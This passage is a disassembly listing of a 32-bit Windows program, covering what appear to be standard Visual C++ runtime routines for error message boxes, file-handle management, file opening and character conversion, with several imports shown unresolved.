		call	sub_41AFE0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423696
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41B5F0
		add	esp, 10h


loc_423696:				; CODE XREF: sub_4235C9+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_41BEB0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp+var_A0]
		push	offset asc_427C10 ; "\n\n"
		push	eax
		call	sub_41BEC0
		push	off_43C95C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BEC0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_424D78
		add	esp, 2Ch
		pop	edi
		jmp	short loc_423719
; ---------------------------------------------------------------------------


loc_4236F3:				; CODE XREF: sub_4235C9+3Cj
					; sub_4235C9+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43C95C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 26107BEh
		push	eax
		nop
		call	near ptr 26E0000h


loc_423719:				; CODE XREF: sub_4235C9+2Ej
					; sub_4235C9+59j ...
		pop	esi
		leave
		retn
sub_4235C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_42371C	proc near		; CODE XREF: sub_423A33:loc_423BABp
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4DC5C0


loc_42372B:				; CODE XREF: sub_42371C+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_423768
		lea	edx, [eax+100h]


loc_423737:				; CODE XREF: sub_42371C+28j
		cmp	eax, edx
		jnb	short loc_423757
		test	byte ptr [eax+4], 1
		jz	short loc_423746
		add	eax, 8
		jmp	short loc_423737
; ---------------------------------------------------------------------------


loc_423746:				; CODE XREF: sub_42371C+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_4237AB


loc_423757:				; CODE XREF: sub_42371C+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4DC6C0
		jl	short loc_42372B
		jmp	short loc_4237AB
; ---------------------------------------------------------------------------


loc_423768:				; CODE XREF: sub_42371C+13j
		mov	esi, 100h
		push	esi
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4237AB
		add	dword_4DC6C0, 20h
		lea	ecx, ds:4DC5C0h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_42378E:				; CODE XREF: sub_42371C+88j
		cmp	eax, edx
		jnb	short loc_4237A6
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_42378E
; ---------------------------------------------------------------------------


loc_4237A6:				; CODE XREF: sub_42371C+74j
		shl	edi, 5
		mov	ebx, edi


loc_4237AB:				; CODE XREF: sub_42371C+39j
					; sub_42371C+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_42371C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4237B1	proc near		; CODE XREF: sub_423A33+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DC6C0
		push	edi
		jnb	short loc_423811
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DC5C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_423811
		cmp	dword_43A2C4, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_423807
		sub	eax, 0
		jz	short loc_4237FE
		dec	eax
		jz	short loc_4237F9
		dec	eax
		jnz	short loc_423807
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_423801
; ---------------------------------------------------------------------------


loc_4237F9:				; CODE XREF: sub_4237B1+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_423801
; ---------------------------------------------------------------------------


loc_4237FE:				; CODE XREF: sub_4237B1+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_423801:				; CODE XREF: sub_4237B1+46j
					; sub_4237B1+4Bj
		nop
		call	near ptr 2600D1Dh


loc_423807:				; CODE XREF: sub_4237B1+36j
					; sub_4237B1+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_423825
; ---------------------------------------------------------------------------


loc_423811:				; CODE XREF: sub_4237B1+Cj
					; sub_4237B1+28j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh


loc_423825:				; CODE XREF: sub_4237B1+5Ej
		pop	edi
		pop	esi
		retn
sub_4237B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_423828	proc near		; CODE XREF: sub_41DA72+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4DC6C0
		push	edi
		jnb	short loc_42388B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_42388B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_42388B
		cmp	dword_43A2C4, 1
		jnz	short loc_423881
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_423878
		dec	ecx
		jz	short loc_423873
		dec	ecx
		jnz	short loc_423881
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------


loc_423873:				; CODE XREF: sub_423828+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_42387B
; ---------------------------------------------------------------------------


loc_423878:				; CODE XREF: sub_423828+3Ej
		push	eax
		push	0FFFFFFF6h


loc_42387B:				; CODE XREF: sub_423828+49j
					; sub_423828+4Ej
		nop
		call	near ptr 2600D1Dh


loc_423881:				; CODE XREF: sub_423828+38j
					; sub_423828+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_42389F
; ---------------------------------------------------------------------------


loc_42388B:				; CODE XREF: sub_423828+Cj
					; sub_423828+2Aj ...
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh


loc_42389F:				; CODE XREF: sub_423828+61j
		pop	edi
		pop	esi
		retn
sub_423828	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238A2	proc near		; CODE XREF: sub_41DA72+32p
					; sub_41DA72+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC6C0
		jnb	short loc_4238CA
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC5C0[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_4238CA
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_4238CA:				; CODE XREF: sub_4238A2+Aj
					; sub_4238A2+23j
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh
		retn
sub_4238A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4238DF	proc near		; CODE XREF: sub_41DB50+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC6C0
		jnb	short loc_423928
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4DC5C0[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_423928
		push	eax
		call	sub_4238A2
		pop	ecx
		push	eax
		call	near ptr 2600766h
		nop
		test	eax, eax
		jnz	short loc_42391D
		nop
		call	near ptr 2680000h
		jmp	short loc_42391F
; ---------------------------------------------------------------------------


loc_42391D:				; CODE XREF: sub_4238DF+34j
		xor	eax, eax


loc_42391F:				; CODE XREF: sub_4238DF+3Cj
		test	eax, eax
		jz	short locret_423935
		mov	dword_4DB27C, eax


loc_423928:				; CODE XREF: sub_4238DF+Aj
					; sub_4238DF+22j
		mov	dword_4DB278, 9
		or	eax, 0FFFFFFFFh

locret_423935:				; CODE XREF: sub_4238DF+42j
		retn
sub_4238DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_423936	proc near		; DATA XREF: ___:00429024o
		mov	eax, dword_4DC5A0
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_42394A
		mov	eax, 200h
		jmp	short loc_423950
; ---------------------------------------------------------------------------


loc_42394A:				; CODE XREF: sub_423936+Bj
		cmp	eax, esi
		jge	short loc_423955
		mov	eax, esi


loc_423950:				; CODE XREF: sub_423936+12j
		mov	dword_4DC5A0, eax


loc_423955:				; CODE XREF: sub_423936+16j
		push	4
		push	eax
		call	sub_424E01
		pop	ecx
		mov	dword_4DB598, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	4
		push	esi
		mov	dword_4DC5A0, esi
		call	sub_424E01
		pop	ecx
		mov	dword_4DB598, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_423989
		push	1Ah
		call	sub_41DA29
		pop	ecx


loc_423989:				; CODE XREF: sub_423936+30j
					; sub_423936+49j
		xor	ecx, ecx
		mov	eax, offset off_43C9E8


loc_423990:				; CODE XREF: sub_423936+6Ej
		mov	edx, dword_4DB598
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43CC68
		jl	short loc_423990
		xor	edx, edx
		mov	ecx, offset dword_43C9F8


loc_4239AD:				; CODE XREF: sub_423936+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4239CA
		test	eax, eax
		jnz	short loc_4239CD


loc_4239CA:				; CODE XREF: sub_423936+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_4239CD:				; CODE XREF: sub_423936+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43CA58
		jl	short loc_4239AD
		pop	esi
		retn
sub_423936	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239DB	proc near		; DATA XREF: ___:00429034o

; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES

		call	sub_41DBE7
		cmp	byte_4DB2B8, 0
		jz	short locret_4239EE
		jmp	loc_424EB2
; ---------------------------------------------------------------------------

locret_4239EE:				; CODE XREF: sub_4239DB+Cj
		retn
sub_4239DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4239EF	proc near		; CODE XREF: sub_41F043+32p
					; sub_41F58A+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4DB460
		push	1000h
		call	sub_41B4D5
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_423A18
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_423A29
; ---------------------------------------------------------------------------


loc_423A18:				; CODE XREF: sub_4239EF+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_423A29:				; CODE XREF: sub_4239EF+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_4239EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423A33	proc near		; CODE XREF: sub_41F32D+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_423A59
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_423A64
; ---------------------------------------------------------------------------


loc_423A59:				; CODE XREF: sub_423A33+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_423A64:				; CODE XREF: sub_423A33+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_423A7E
		test	ch, 40h
		jnz	short loc_423A7A
		cmp	dword_4DB570, eax
		jz	short loc_423A7E


loc_423A7A:				; CODE XREF: sub_423A33+3Dj
		or	[ebp+var_1], 80h


loc_423A7E:				; CODE XREF: sub_423A33+38j
					; sub_423A33+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_423AB6
		dec	eax
		jz	short loc_423AAD
		dec	eax
		jz	short loc_423AA4


loc_423A8F:				; CODE XREF: sub_423A33+9Fj
					; sub_423A33+E8j ...
		mov	dword_4DB278, 16h
		mov	dword_4DB27C, ebx
		jmp	loc_423CC9
; ---------------------------------------------------------------------------


loc_423AA4:				; CODE XREF: sub_423A33+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------


loc_423AAD:				; CODE XREF: sub_423A33+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_423ABD
; ---------------------------------------------------------------------------


loc_423AB6:				; CODE XREF: sub_423A33+54j
		mov	[ebp+var_C], 80000000h


loc_423ABD:				; CODE XREF: sub_423A33+78j
					; sub_423A33+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_423AEB
		cmp	eax, 20h
		jz	short loc_423AE2
		cmp	eax, 30h
		jz	short loc_423AD9
		cmp	eax, 40h
		jnz	short loc_423A8F
		mov	[ebp+var_10], esi
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AD9:				; CODE XREF: sub_423A33+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AE2:				; CODE XREF: sub_423A33+95j
		mov	[ebp+var_10], 1
		jmp	short loc_423AEE
; ---------------------------------------------------------------------------


loc_423AEB:				; CODE XREF: sub_423A33+90j
		mov	[ebp+var_10], ebx


loc_423AEE:				; CODE XREF: sub_423A33+A4j
					; sub_423A33+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_423B38
		jz	short loc_423B33
		cmp	ecx, ebx
		jz	short loc_423B33
		cmp	ecx, edi
		jz	short loc_423B2A
		cmp	ecx, 200h
		jz	short loc_423B51
		cmp	ecx, 300h
		jnz	loc_423A8F
		mov	[ebp+var_8], 2
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B2A:				; CODE XREF: sub_423A33+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B33:				; CODE XREF: sub_423A33+D0j
					; sub_423A33+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B38:				; CODE XREF: sub_423A33+CEj
		cmp	ecx, 500h
		jz	short loc_423B5A
		cmp	ecx, 600h
		jz	short loc_423B51
		cmp	ecx, edx
		jz	short loc_423B5A
		jmp	loc_423A8F
; ---------------------------------------------------------------------------


loc_423B51:				; CODE XREF: sub_423A33+E0j
					; sub_423A33+113j
		mov	[ebp+var_8], 5
		jmp	short loc_423B61
; ---------------------------------------------------------------------------


loc_423B5A:				; CODE XREF: sub_423A33+10Bj
					; sub_423A33+117j
		mov	[ebp+var_8], 1


loc_423B61:				; CODE XREF: sub_423A33+F5j
					; sub_423A33+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_423B80
		mov	ecx, dword_4DB280
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_423B80
		push	1
		pop	esi


loc_423B80:				; CODE XREF: sub_423A33+138j
					; sub_423A33+148j
		test	al, 40h
		jz	short loc_423B8E
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_423B8E:				; CODE XREF: sub_423A33+14Fj
		test	ah, 10h
		jz	short loc_423B95
		or	esi, edi


loc_423B95:				; CODE XREF: sub_423A33+15Ej
		test	al, 20h
		jz	short loc_423BA1
		or	esi, 8000000h
		jmp	short loc_423BAB
; ---------------------------------------------------------------------------


loc_423BA1:				; CODE XREF: sub_423A33+164j
		test	al, 10h
		jz	short loc_423BAB
		or	esi, 10000000h


loc_423BAB:				; CODE XREF: sub_423A33+16Cj
					; sub_423A33+170j
		call	sub_42371C
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_423BCC
		and	dword_4DB27C, 0
		mov	dword_4DB278, 18h
		jmp	short loc_423C0A
; ---------------------------------------------------------------------------


loc_423BCC:				; CODE XREF: sub_423A33+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		nop
		call	near ptr 26F0867h
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_423BFD
		push	esi
		nop
		call	near ptr 2610000h
		test	eax, eax
		jnz	short loc_423C11
		push	esi
		nop
		call	near ptr 265092Ah


loc_423BFD:				; CODE XREF: sub_423A33+1B6j
		nop
		call	near ptr 2680000h
		push	eax
		call	sub_4203DF
		pop	ecx


loc_423C0A:				; CODE XREF: sub_423A33+197j
		mov	eax, edi
		jmp	loc_423CE7
; ---------------------------------------------------------------------------


loc_423C11:				; CODE XREF: sub_423A33+1C1j
		cmp	eax, 2
		jnz	short loc_423C1C
		or	[ebp+var_1], 40h
		jmp	short loc_423C25
; ---------------------------------------------------------------------------


loc_423C1C:				; CODE XREF: sub_423A33+1E1j
		cmp	eax, 3
		jnz	short loc_423C25
		or	[ebp+var_1], 8


loc_423C25:				; CODE XREF: sub_423A33+1E7j
					; sub_423A33+1ECj
		push	esi
		push	ebx
		call	sub_4237B1
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4DC5C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_423CCE
		test	al, 80h
		jz	short loc_423CCE
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_423CCE
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_423C83
		cmp	dword_4DB27C, 83h
		jz	short loc_423CCE
		jmp	short loc_423CC2
; ---------------------------------------------------------------------------


loc_423C83:				; CODE XREF: sub_423A33+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_423CB0
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_423CB0
		push	[ebp+var_10]
		push	ebx
		call	sub_424F0A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_423CC2


loc_423CB0:				; CODE XREF: sub_423A33+265j
					; sub_423A33+26Bj
		push	0
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_423CCE


loc_423CC2:				; CODE XREF: sub_423A33+24Ej
					; sub_423A33+27Bj
		push	ebx
		call	sub_41DA72
		pop	ecx


loc_423CC9:				; CODE XREF: sub_423A33+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_423CE7
; ---------------------------------------------------------------------------


loc_423CCE:				; CODE XREF: sub_423A33+221j
					; sub_423A33+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_423CE5
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_423CE5
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_423CE5:				; CODE XREF: sub_423A33+29Fj
					; sub_423A33+2A5j
		mov	eax, ebx


loc_423CE7:				; CODE XREF: sub_423A33+1D9j
					; sub_423A33+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423A33	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423CEC	proc near		; CODE XREF: sub_41F515+5Ep
					; sub_4200E8+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427C50
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4DB468
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_423D5B
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_427940
		push	esi
		call	near ptr 25F0526h
		nop
		test	eax, eax
		jz	short loc_423D39
		mov	eax, esi
		jmp	short loc_423D56
; ---------------------------------------------------------------------------


loc_423D39:				; CODE XREF: sub_423CEC+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4CAE2C
		push	esi
		push	ebx
		nop
		call	near ptr 2600000h
		test	eax, eax
		jz	loc_423E21
		push	2
		pop	eax


loc_423D56:				; CODE XREF: sub_423CEC+4Bj
		mov	dword_4DB468, eax


loc_423D5B:				; CODE XREF: sub_423CEC+2Fj
		cmp	eax, 2
		jnz	short loc_423D84
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_423D6C
		mov	eax, dword_4DB334


loc_423D6C:				; CODE XREF: sub_423CEC+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		nop
		call	near ptr 2600000h
		jmp	loc_423E23
; ---------------------------------------------------------------------------


loc_423D84:				; CODE XREF: sub_423CEC+72j
		cmp	eax, 1
		jnz	loc_423E21
		cmp	[ebp+arg_10], ebx
		jnz	short loc_423D9A
		mov	eax, dword_4DB344
		mov	[ebp+arg_10], eax


loc_423D9A:				; CODE XREF: sub_423CEC+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		nop
		call	near ptr 2800000h
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_423E21
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_41B590
		add	esp, 0Ch
		jmp	short loc_423DF0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_423DF0:				; CODE XREF: sub_423CEC+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_423E21
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		nop
		call	near ptr 2800000h
		cmp	eax, ebx
		jz	short loc_423E21
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		nop
		call	near ptr 25F0526h
		jmp	short loc_423E23
; ---------------------------------------------------------------------------


loc_423E21:				; CODE XREF: sub_423CEC+61j
					; sub_423CEC+9Bj ...
		xor	eax, eax


loc_423E23:				; CODE XREF: sub_423CEC+93j
					; sub_423CEC+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_423CEC	endp


; =============== S U B	R O U T	I N E =======================================



sub_423E35	proc near		; CODE XREF: sub_41F58A+61p
					; sub_420446+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4DC6C0
		jb	short loc_423E44
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_423E44:				; CODE XREF: sub_423E35+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DC5C0[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_423E35	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423E5B	proc near		; CODE XREF: sub_41F69F+2D4p
					; sub_41F69F+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_423E67
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423E67:				; CODE XREF: sub_423E5B+8j
		cmp	dword_4DB334, 0
		jnz	short loc_423E82
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_423EB4
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423E82:				; CODE XREF: sub_423E5B+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43C504
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4DB344
		call	near ptr 27F116Ah
		nop
		test	eax, eax
		jz	short loc_423EB4
		cmp	[ebp+arg_0], 0
		jz	short loc_423EC1


loc_423EB4:				; CODE XREF: sub_423E5B+1Ej
					; sub_423E5B+51j
		mov	dword_4DB278, 2Ah
		or	eax, 0FFFFFFFFh


loc_423EC1:				; CODE XREF: sub_423E5B+57j
		pop	ebp
		retn
sub_423E5B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423EC3	proc near		; CODE XREF: sub_420510+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_423EE6
		cmp	[ebp+arg_8], ebx
		jz	short loc_423EE6
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_423EEC
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_423EE6
		mov	[eax], bx


loc_423EE6:				; CODE XREF: sub_423EC3+Cj
					; sub_423EC3+11j ...
		xor	eax, eax


loc_423EE8:				; CODE XREF: sub_423EC3+42j
					; sub_423EC3+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423EEC:				; CODE XREF: sub_423EC3+17j
		cmp	dword_4DB334, ebx
		jnz	short loc_423F07
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_423F02
		movzx	ax, al
		mov	[ecx], ax


loc_423F02:				; CODE XREF: sub_423EC3+36j
					; sub_423EC3+C0j
		push	1
		pop	eax
		jmp	short loc_423EE8
; ---------------------------------------------------------------------------


loc_423F07:				; CODE XREF: sub_423EC3+2Fj
		mov	ecx, off_43C2F8
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_423F64
		mov	eax, dword_43C504
		cmp	eax, 1
		jle	short loc_423F4B
		cmp	[ebp+arg_8], eax
		jl	short loc_423F55
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_4DB344
		nop
		call	near ptr 2800000h
		test	eax, eax
		mov	eax, dword_43C504
		jnz	short loc_423EE8


loc_423F4B:				; CODE XREF: sub_423EC3+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_423F55
		cmp	[esi+1], bl
		jnz	short loc_423EE8


loc_423F55:				; CODE XREF: sub_423EC3+61j
					; sub_423EC3+8Bj ...
